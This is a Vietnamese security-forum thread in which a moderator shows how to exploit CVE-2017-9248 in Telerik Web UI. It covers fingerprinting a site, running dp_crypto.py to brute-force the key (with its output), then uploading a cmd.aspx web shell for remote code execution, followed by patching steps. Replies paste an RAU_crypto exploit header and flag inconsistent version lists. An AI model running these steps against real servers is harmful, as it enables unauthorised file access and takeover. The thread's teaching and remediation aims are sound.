Khai thác lỗ hổng ứng dụng Web qua Telerik Web Ui trên Framework Asp.Net

Sugi_b3o

Moderator
Thành viên BQT
30/08/2016
316
446 bài viết
Khai thác lỗ hổng ứng dụng Web qua Telerik Web Ui trên Framework Asp.Net
Chào mọi người, mình xin chia sẻ bài viết phân tích về lỗ hổng trên Telerik Web UI, tuy cũ mà mới, cũ vì nó là CVE 2017-9248 , mới vì mình vô tình phát hiện rằng nó không có sẵn trong signature các thiết bị ANTT, và nó khá khó trong việc phát hiện tự động bởi nó thực hiện request một cách hợp lệ, vì vậy mình khuyến cáo các bạn tự kiểm tra thiết bị ANTT quản lý và cập nhật. Đây là lỗ hổng bảo mật cực kỳ nghiêm trọng, tồn tại do mã hóa yếu trong tệp tin Telerik.Web.UI.dll (Telerik UI for ASP.NET AJAX components). Khai thác lỗ hổng này hacker có thể giải mã ra key (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), từ đó có được đường link quản trị nội dung tệp tin và có thể tải tệp tin lên máy chủ nếu cấu hình cho phép (mặc định là cho phép). Lỗ hổng này tồn tại ở các phiên bản từ 2012.3.1308 đến 2017.1.118 (.NET 35, 40, 45).

1.png
Cách xác định lỗ hổng:
2.gif
Mở source web bằng cách Kích phải View page source hay Ctrl+U sau đó bấm Ctrl +F search với từ khóa “Telerik.Web.UI”

3.png

OK sau đó có thể lướt source ở 1 vài trang con khác để tìm phiên bản hiện tại

4.png

Bạn sẽ tìm ra với định dạng như hình bên trên

OK, và bên dưới là danh sách các phiên bản có thể bị khai thác 2013.1.220 =>2017.2.503


Time to Exploit

Trước khi thực hiện exploit, các bạn xác định được tập tin “Dialog Handler” bằng cách request
https://www.example.com/Telerik.Web.UI.DialogHandler.aspx, nếu kết quả bạn nhận lại được là chuỗi “Loading the dialog…” thì boom bạn đã đi đúng hướng.


6.png
Để tiến hành khai thác bạn có thể sử dụng công cụ này chạy bằng python
Mã:
root@Sugib3o~# python dp_crypto.py -k http://www.example.com/Telerik.Web.UI.DialogHandler.aspx 48 hex 9

dp_crypto by Paul Taylor / Foregenix Ltd
CVE-2017-9248 - Telerik.Web.UI.dll Cryptographic compromise

Attacking http://www.example.com/Telerik.Web.UI.DialogHandler.aspx
to find key of length [48] with accuracy threshold [9]
using key charset [01234567890ABCDEF]

Key position 01: {D} found with 31 requests, total so far: 31
Key position 02: {3} found with 10 requests, total so far: 41
Key position 03: {A} found with 35 requests, total so far: 76
Key position 04: {D} found with 46 requests, total so far: 122
<------------------------ SNIPPED ------------------------>
Key position 45: {B} found with 50 requests, total so far: 1638
Key position 46: {3} found with 36 requests, total so far: 1674
Key position 47: {3} found with 50 requests, total so far: 1724
Key position 48: {F} found with 57 requests, total so far: 1781
Found key: D3AD[redacted]B33F
Total web requests: 1781
2014.3.1024: http://www.example.com/Telerik.Web.UI.DialogHandler.aspx?DialogName=DocumentManager&renderMode=2&Skin=Default&Title=Document%20Manager&dpptn=&isRtl=false&dp=[snipped&redacted]

Sau đó truy cập đến đường link “Document Manager” để truy cập được toàn bộ tập tin và thư mục của Server nạn nhân đồng thời có thể thực hiện upload tập tin lên Server này


7.gif

8.png

Mình vừa upload 1 tập tin cmd.aspx

9.png

Tập tin đã lên máy chủ. Now it's time to RCE

10.png

Thực hiện request và truyền 1 vài tham số từ bên ngoài
Cách khắc phục
  • Cài đặt bản vá lỗ hổng bảo mật version 2017.2.621 trở lên tại https://www.telerik.com/
  • Tiến hành upgrade bản vá theo hướng dẫn tại đây
  • Tạo các khóa duy nhất cho Telerick.Web.UI.DialogParameterEncodingKey và MachineKey trong web.config hoặc dùng trình tạo khóa của IIS machine Key
  • Thực hiện Redirect url trả lại trang thông báo lỗi khi hacker truy cập Telerik
11.png

  • Loại bỏ handler từ tệp tin cấu hình web.config

12.png

  • Thực hiện xóa tệp Telerik.Web.UI.SpellCheckHandler.ashx và Telerik.Web.UI.DialogHandler.aspx
SharePoint 2010: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\wpresources\RadEditorSharePoint\6.x.x.0__1f131a624888eeed\Resources

SharePoint 2013: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\wpresources\RadEditorSharePoint\7.x.x.0__1f131a624888eeed\Resources

SharePoint 2016: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\wpresources\RadEditorSharePoint\7.x.x.0__1f131a624888eeed\Resources
Đừng quên kiểm tra lại sau khi đã xóa các tập tin này


13.png
Tham khảo
An toàn thông tin 24h
WhiteHat
Sugi B3o
 
Chỉnh sửa lần cuối:
Mod @Sugi_b3o làm bài exploit Telerik.Web.UI.WebResource.axd?type=rau đi, có thành viên quan tâm nè :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Mod @Sugi_b3o làm bài exploit Telerik.Web.UI.WebResource.axd?type=rau đi, có thành viên quan tâm nè :D
Đây là cũng là dạng tấn công bạn hỏi,
# Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
# Filename: RAU_crypto.py
# Github: https://github.com/bao7uo/RAU_crypto
# Date: 2018-01-23

# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog

# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-11317, CVE-2017-11357
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Vendor Advisory: https://www.telerik.com/support/kb/...ync)/details/insecure-direct-object-reference

# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)

#!/usr/bin/python3

# Author: Paul Taylor / Foregenix Ltd
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

# RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357

# Telerik Web UI for ASP.NET AJAX
# RadAsyncUpload hardcoded keys / insecure direct object reference
# Arbitrary file upload

# Telerik fixed in June 2017 by removing default keys in
# versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
# RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)

# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# https://www.telerik.com/support/kb/...ync)/details/insecure-direct-object-reference
# http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security

# http://target/Telerik.Web.UI.WebResource.axd?type=rau
Chi tiết tại link này
 
Comment
Ad cho em hỏi là trong quá trình bruteforce key thì nó bị dừng lại ở 1 position nào đó thì có cách nào xử lí ko ạ :( và key này nó hình như không cố định hay sao mà mỗi lần bruteforce thì lại có những kết quả khác nhau ở cùng 1 position ạ?
upload_2019-8-15_17-34-32.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Ad cho em hỏi là trong quá trình bruteforce key thì nó bị dừng lại ở 1 position nào đó thì có cách nào xử lí ko ạ :( và key này nó hình như không cố định hay sao mà mỗi lần bruteforce thì lại có những kết quả khác nhau ở cùng 1 position ạ? View attachment 5150
Đôi khi mình cũng bị dừng lại ở 1 position nào đó nên mình dùng add-on của Burpsuit và so sánh là biết kết quả có cố định ko nhé :D https://github.com/capt-meelo/Telewreck
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Đây là cũng là dạng tấn công bạn hỏi,
# Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
# Filename: RAU_crypto.py
# Github: https://github.com/bao7uo/RAU_crypto
# Date: 2018-01-23

# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog

# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-11317, CVE-2017-11357
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Vendor Advisory: https://www.telerik.com/support/kb/...ync)/details/insecure-direct-object-reference

# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)

#!/usr/bin/python3

# Author: Paul Taylor / Foregenix Ltd
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

# RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357

# Telerik Web UI for ASP.NET AJAX
# RadAsyncUpload hardcoded keys / insecure direct object reference
# Arbitrary file upload

# Telerik fixed in June 2017 by removing default keys in
# versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
# RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)

# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# https://www.telerik.com/support/kb/...ync)/details/insecure-direct-object-reference
# http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security

# http://target/Telerik.Web.UI.WebResource.axd?type=rau
Chi tiết tại link này

mod hướng dẫn rõ hơn được không ạ
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
1. CVE 2017-11317 là lỗ hổng do hardcoded key và unrestricted-file-upload nhé mod, khác hoàn toàn với CVE 2017-9248.
2. Lỗ hổng này tồn tại ở các phiên bản từ 2012.3.1308 đến 2017.1.118 (.NET 35, 40, 45). Nhưng ở dưới lại là:
OK, và bên dưới là danh sách các phiên bản có thể bị khai thác
Mã:
2007.1423 2008.31314 2010.31317 2013.1.403 2015.2.729
2007.1521 2009.1311 2011.1315 2013.1.417 2015.2.826
2007.1626 2009.1402 2011.1413 2013.2.611 2015.3.930
2007.2918

Mod nên tìm hiểu kĩ trước khi copy/paste, tránh làm các bạn khác hiểu sai {4}{4}{4}
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: Sugi_b3o
Comment
1. CVE 2017-11317 là lỗ hổng do hardcoded key và unrestricted-file-upload nhé mod, khác hoàn toàn với CVE 2017-9248.
2.
Lỗ hổng này tồn tại ở các phiên bản từ 2012.3.1308 đến 2017.1.118 (.NET 35, 40, 45). Nhưng ở dưới lại là:
OK, và bên dưới là danh sách các phiên bản có thể bị khai thác
Mã:
2007.1423 2008.31314 2010.31317 2013.1.403 2015.2.729
2007.1521 2009.1311 2011.1315 2013.1.417 2015.2.826
2007.1626 2009.1402 2011.1413 2013.2.611 2015.3.930
2007.2918

Mod nên tìm hiểu kĩ trước khi copy/paste, tránh làm các bạn khác hiểu sai {4}{4}{4}
Cám ơn bạn đã phát hiện, mình xin phép edit lại để tránh các bạn đọc sau hiểu lầm
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thẻ
.net asp.net hacking khai thác sharepoint telerik
Bên trên